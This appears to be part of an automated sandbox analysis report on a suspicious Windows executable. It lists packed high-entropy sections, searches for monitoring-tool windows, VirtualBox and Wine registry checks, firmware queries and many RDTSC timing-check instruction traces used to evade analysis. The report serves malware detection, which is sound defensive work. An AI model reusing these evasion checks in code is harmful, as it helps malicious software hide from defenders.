Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05373CC1 push ds; ret	0_3_05373CC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05373CC1 push ds; ret	0_3_05373CC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05373CC1 push ds; ret	0_3_05373CC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0536DF00 push ebx; iretd	0_3_0536DF01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0536DF00 push ebx; iretd	0_3_0536DF01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0536DF00 push ebx; iretd	0_3_0536DF01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0536DD7A push ecx; retf	0_3_0536DDA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0536DD7A push ecx; retf	0_3_0536DDA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0536DD7A push ecx; retf	0_3_0536DDA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_053733A9 pushad ; ret	0_3_053733AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_053733A9 pushad ; ret	0_3_053733AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_053733A9 pushad ; ret	0_3_053733AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_053734F7 pushad ; ret	0_3_053734FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_053734F7 pushad ; ret	0_3_053734FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_053734F7 pushad ; ret	0_3_053734FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05373BDA push ds; ret	0_3_05373C1A

Source: file.exe	Static PE information: section name: entropy: 7.96915631471483
Source: file.exe	Static PE information: section name: ffvhfheu entropy: 7.951877259102433

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25AFB6 second address: 25AFBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25AFBE second address: 25AFC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25AFC2 second address: 25AFCC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F18AD7F4076h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26D3EB second address: 26D40A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F18AD89A097h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25AFB2 second address: 25AFB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26DBCC second address: 26DBE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F18AD89A098h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26DBE9 second address: 26DC03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4084h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26DC03 second address: 26DC07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26DC07 second address: 26DC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F18AD7F4088h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26DC2F second address: 26DC3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F18AD89A086h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F4D9 second address: 26F4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jc 00007F18AD7F4080h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F4FE second address: 26F539 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F18AD89A091h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 jmp 00007F18AD89A098h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F600 second address: 26F606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F606 second address: 26F60B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F60B second address: 26F619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F619 second address: 26F62A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F62A second address: 26F62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F62E second address: 26F663 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A094h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c je 00007F18AD89A086h 0x00000012 popad 0x00000013 popad 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F18AD89A08Ah 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F663 second address: 26F6FD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F18AD7F4089h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push ecx 0x00000010 jnp 00007F18AD7F4078h 0x00000016 pop ecx 0x00000017 pop eax 0x00000018 mov si, AB53h 0x0000001c push 00000003h 0x0000001e mov dword ptr [ebp+122D3161h], edi 0x00000024 push 00000000h 0x00000026 mov esi, dword ptr [ebp+122D2C6Dh] 0x0000002c mov dx, 99CCh 0x00000030 push 00000003h 0x00000032 call 00007F18AD7F4079h 0x00000037 js 00007F18AD7F4082h 0x0000003d jmp 00007F18AD7F407Ch 0x00000042 push eax 0x00000043 jmp 00007F18AD7F4087h 0x00000048 mov eax, dword ptr [esp+04h] 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F18AD7F4088h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F6FD second address: 26F701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F701 second address: 26F72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F18AD7F407Ch 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F18AD7F4086h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F72E second address: 26F751 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007F18AD89A086h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F18AD89A08Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F825 second address: 26F829 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F829 second address: 26F82F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F82F second address: 26F83D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F83D second address: 26F841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F8F0 second address: 26F8F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F8F7 second address: 26F95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b ja 00007F18AD89A08Ah 0x00000011 push eax 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 pop eax 0x00000016 add cx, 90AEh 0x0000001b push 00000003h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F18AD89A088h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 mov dh, ECh 0x00000039 mov edx, edi 0x0000003b push 00000000h 0x0000003d mov esi, dword ptr [ebp+122D2959h] 0x00000043 push 00000003h 0x00000045 mov edx, dword ptr [ebp+122D324Ah] 0x0000004b mov edx, 43126871h 0x00000050 push 999972CDh 0x00000055 pushad 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26F95A second address: 26F9C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F18AD7F407Dh 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 popad 0x00000011 add dword ptr [esp], 26668D33h 0x00000018 or di, 9D73h 0x0000001d lea ebx, dword ptr [ebp+1244745Fh] 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007F18AD7F4078h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 0000001Dh 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d xchg eax, ebx 0x0000003e jmp 00007F18AD7F4080h 0x00000043 push eax 0x00000044 pushad 0x00000045 push edx 0x00000046 jne 00007F18AD7F4076h 0x0000004c pop edx 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25FC3A second address: 25FC40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25FC40 second address: 25FC44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28F190 second address: 28F196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28F196 second address: 28F19C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28F19C second address: 28F1A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28F1A4 second address: 28F1AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28F1AA second address: 28F1AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28F1AF second address: 28F1B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28F2E0 second address: 28F316 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Bh 0x00000007 jmp 00007F18AD89A093h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jne 00007F18AD89A086h 0x00000018 jbe 00007F18AD89A086h 0x0000001e popad 0x0000001f push edi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28F316 second address: 28F31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28FC7B second address: 28FC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28FC7F second address: 28FC9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F18AD7F4076h 0x0000000a jmp 00007F18AD7F4082h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28FF34 second address: 28FF38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 264DFF second address: 264E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 290805 second address: 290842 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F18AD89A094h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F18AD89A086h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 290842 second address: 290846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 290846 second address: 290878 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F18AD89A086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jp 00007F18AD89A086h 0x00000011 pushad 0x00000012 popad 0x00000013 jns 00007F18AD89A086h 0x00000019 popad 0x0000001a jns 00007F18AD89A092h 0x00000020 push eax 0x00000021 push edx 0x00000022 push edx 0x00000023 pop edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2909CF second address: 2909D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2909D3 second address: 2909D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 290C9D second address: 290CA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 290CA5 second address: 290CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 290CA9 second address: 290CAF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 293994 second address: 2939B0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F18AD89A096h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29594F second address: 29595F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29595F second address: 295965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 295965 second address: 295969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 295969 second address: 29597F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a je 00007F18AD89A088h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29597F second address: 295983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 295EBE second address: 295EE7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F18AD89A088h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F18AD89A08Ch 0x00000012 jno 00007F18AD89A086h 0x00000018 pop edx 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f je 00007F18AD89A08Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 295EE7 second address: 295EEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 295EEB second address: 295EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F18AD89A086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 295EF5 second address: 295F22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jbe 00007F18AD7F4078h 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 295F22 second address: 295F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 297B18 second address: 297B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 297B28 second address: 297B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F18AD89A086h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29CCF2 second address: 29CCF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29CCF6 second address: 29CD10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A090h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29CD10 second address: 29CD2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4081h 0x00000007 jp 00007F18AD7F4076h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29D46C second address: 29D470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29D470 second address: 29D479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29D479 second address: 29D47F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29E7C6 second address: 29E8C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4082h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F18AD7F4084h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jp 00007F18AD7F407Ch 0x0000001a jmp 00007F18AD7F4089h 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 jnc 00007F18AD7F4085h 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c jbe 00007F18AD7F4082h 0x00000032 jnp 00007F18AD7F407Ch 0x00000038 jc 00007F18AD7F4076h 0x0000003e pop eax 0x0000003f call 00007F18AD7F4079h 0x00000044 jmp 00007F18AD7F407Bh 0x00000049 push eax 0x0000004a jns 00007F18AD7F4080h 0x00000050 mov eax, dword ptr [esp+04h] 0x00000054 jbe 00007F18AD7F408Eh 0x0000005a jmp 00007F18AD7F4088h 0x0000005f mov eax, dword ptr [eax] 0x00000061 jmp 00007F18AD7F4088h 0x00000066 mov dword ptr [esp+04h], eax 0x0000006a push ecx 0x0000006b pushad 0x0000006c jmp 00007F18AD7F4082h 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29F076 second address: 29F081 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F18AD89A086h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
